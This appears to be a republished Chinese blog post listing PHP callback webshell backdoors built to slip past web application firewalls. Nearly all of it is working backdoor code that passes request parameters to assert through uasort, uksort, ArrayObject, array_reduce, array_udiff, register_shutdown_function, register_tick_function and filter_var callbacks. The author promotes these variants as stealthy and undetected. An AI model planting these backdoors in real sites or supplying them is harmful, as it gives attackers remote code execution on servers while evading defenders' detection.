bypass各种waf--php回调后门
Posted 南岸青栀*
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bypass各种waf--php回调后门相关的知识,希望对你有一定的参考价值。
文章目录
bypass各种waf–php回调后门
一般过狗思路
call_user_func('assert', $_REQUEST['pass'])
双参数回调后门
uasort
<?php
$e=$_REQUEST['e'];
$arr=array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
由此方法引申出的姿势有:
<?php
$e=$_REQUEST['e'];
$arr=array('test'=>1, $_REQUEST['pass'] =>2);
uksort($arr, $e);
还有两种面向对象的方法
<?php
// way 0
$arr=new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr=new ArrayObject(array('test'=>1, $_REQUEST['pass'] =>2));
$arr->uksort('assert');
array_reduce
<?php
$e=$_REQUEST['e'];
$arr=array(1);
array_reduce($arr, $e, $_POST['pass']);
也就是说指定了$_POST作为处理开始时的初始值,然后执行assert(phpinfo()).
array_udiff
<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass']);
$arr2=array(1);
array_udiff($arr, $arr2, $e);
单参数后门终极奥义
preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以还是单参数后门,在各个版本都比较好驾驭。
给出几个好用不杀的回调后门
这个是php全版本支持的,且不报不杀稳定执行:
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
再来一个:
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
注册一个函数,以便在每个标记上执行
再来两个:
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。
这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.
参考链接:
https://www.cnblogs.com/-qing-/p/10820209.html
以上是关于bypass各种waf--php回调后门的主要内容,如果未能解决你的问题,请参考以下文章
Android逆向进阶—— 脱壳的奥义(基ART模式下的dump)